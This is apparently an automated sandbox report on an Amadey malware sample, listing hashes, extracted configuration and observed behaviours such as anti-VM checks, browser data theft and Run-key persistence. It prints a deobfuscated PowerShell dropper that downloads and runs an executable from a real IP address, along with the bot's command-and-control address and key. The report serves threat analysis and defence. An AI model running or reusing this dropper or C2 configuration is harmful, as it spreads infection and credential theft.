General

  • Target

    2025-04-06_80c49aa4e5d9835db12f5b1f3e52136b_agent-tesla_black-basta_cobalt-strike_luca-stealer

  • Size

    938KB

  • Sample

    250406-1jty6asks8

  • MD5

    80c49aa4e5d9835db12f5b1f3e52136b

  • SHA1

    22d16ccc02ab2f797e948dac092666a952269f13

  • SHA256

    ec17595441a9f813ecd87ac3655a6ef4cd50721a01813375d9680a3ac00fa225

  • SHA512

    36e08978a6c479f9beff746728914436cffe098bf3286f28c08ba7603e00a737a7a605960fd5dc447d4ada1ccbadb5d829ad262ec3036b463965499e57dd7129

  • SSDEEP

    24576:MqDEvCTbMWu7rQYlBQcBiT6rprG8a08u:MTvC/MTQYxsWR7a08

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "NXDQV5SCFWAK039ZU8OIV0PFOK6RCDYD.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Targets

    • Target

      2025-04-06_80c49aa4e5d9835db12f5b1f3e52136b_agent-tesla_black-basta_cobalt-strike_luca-stealer

    • Size

      938KB

    • MD5

      80c49aa4e5d9835db12f5b1f3e52136b

    • SHA1

      22d16ccc02ab2f797e948dac092666a952269f13

    • SHA256

      ec17595441a9f813ecd87ac3655a6ef4cd50721a01813375d9680a3ac00fa225

    • SHA512

      36e08978a6c479f9beff746728914436cffe098bf3286f28c08ba7603e00a737a7a605960fd5dc447d4ada1ccbadb5d829ad262ec3036b463965499e57dd7129

    • SSDEEP

      24576:MqDEvCTbMWu7rQYlBQcBiT6rprG8a08u:MTvC/MTQYxsWR7a08

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Downloads MZ/PE file

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Adds Run key to start application

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • Enumerates processes with tasklist

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.